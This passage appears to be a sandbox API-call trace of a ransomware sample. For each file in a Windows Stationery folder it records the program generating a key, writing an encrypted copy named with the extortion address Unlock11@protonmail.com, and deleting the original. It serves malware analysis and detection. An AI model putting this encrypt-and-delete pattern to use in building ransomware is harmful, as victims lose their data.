lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1 [0199.183] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36744e4 | out: pbBuffer=0x36744e4) returned 1 [0199.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0199.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0199.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0199.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37341b0 [0199.183] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.184] GetFileType (hFile=0x334) returned 0x1 [0199.184] GetFileType (hFile=0x334) returned 0x1 [0199.184] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.185] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.185] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.185] GetFileType (hFile=0x39c) returned 0x1 [0199.186] GetFileType (hFile=0x39c) returned 0x1 [0199.186] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.186] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.186] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.186] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.189] CloseHandle (hObject=0x39c) returned 1 [0199.189] CloseHandle (hObject=0x334) returned 1 [0199.189] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0 [0199.189] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpFilePart=0x9bada4*="Roses.htm") returned 0x49 [0199.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0199.190] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1 [0199.190] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674e94 | out: pbBuffer=0x3674e94) returned 1 [0199.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0199.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0199.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0199.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733f80 [0199.191] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.191] GetFileType (hFile=0x334) returned 0x1 [0199.191] GetFileType (hFile=0x334) returned 0x1 [0199.191] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.191] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.192] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.192] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.192] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.192] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.192] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.192] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.193] GetFileType (hFile=0x39c) returned 0x1 [0199.193] GetFileType (hFile=0x39c) returned 0x1 [0199.193] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.193] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.194] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.194] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.194] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.194] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.194] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.196] CloseHandle (hObject=0x39c) returned 1 [0199.196] CloseHandle (hObject=0x334) returned 1 [0199.196] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0 [0199.196] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpFilePart=0x9bada4*="Roses.jpg") returned 0x49 [0199.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.197] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1 [0199.197] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674b9c | out: pbBuffer=0x3674b9c) returned 1 [0199.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0199.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0199.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0199.197] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.198] GetFileType (hFile=0x334) returned 0x1 [0199.198] GetFileType (hFile=0x334) returned 0x1 [0199.198] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.198] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.198] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.199] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.199] GetFileType (hFile=0x39c) returned 0x1 [0199.199] GetFileType (hFile=0x39c) returned 0x1 [0199.199] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.200] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.200] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.200] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.228] CloseHandle (hObject=0x39c) returned 1 [0199.228] CloseHandle (hObject=0x334) returned 1 [0199.228] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0 [0199.229] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpFilePart=0x9bada4*="Shades of Blue.htm") returned 0x52 [0199.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.229] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0199.229] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674674 | out: pbBuffer=0x3674674) returned 1 [0199.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0199.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0199.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0199.230] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.230] GetFileType (hFile=0x334) returned 0x1 [0199.230] GetFileType (hFile=0x334) returned 0x1 [0199.231] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.231] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.232] GetFileType (hFile=0x39c) returned 0x1 [0199.232] GetFileType (hFile=0x39c) returned 0x1 [0199.232] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.233] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.234] CloseHandle (hObject=0x39c) returned 1 [0199.235] CloseHandle (hObject=0x334) returned 1 [0199.235] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0 [0199.235] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x9bada4*="ShadesOfBlue.jpg") returned 0x50 [0199.235] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1 [0199.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36743f4 | out: pbBuffer=0x36743f4) returned 1 [0199.236] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.236] GetFileType (hFile=0x334) returned 0x1 [0199.236] GetFileType (hFile=0x334) returned 0x1 [0199.236] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.237] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.237] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.237] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.237] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.237] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.237] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.237] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.238] GetFileType (hFile=0x39c) returned 0x1 [0199.238] GetFileType (hFile=0x39c) returned 0x1 [0199.238] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.238] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.239] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.239] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.239] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.239] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.241] CloseHandle (hObject=0x39c) returned 1 [0199.242] CloseHandle (hObject=0x334) returned 1 [0199.242] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0 [0199.242] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm", lpFilePart=0x9bada4*="Soft Blue.htm") returned 0x4d [0199.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0199.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0199.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0199.243] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1 [0199.243] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d04 | out: pbBuffer=0x3674d04) returned 1 [0199.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0199.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0199.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0199.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733fa8 [0199.244] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.244] GetFileType (hFile=0x334) returned 0x1 [0199.244] GetFileType (hFile=0x334) returned 0x1 [0199.244] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.244] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.244] FileTimeToSystemTime (in: 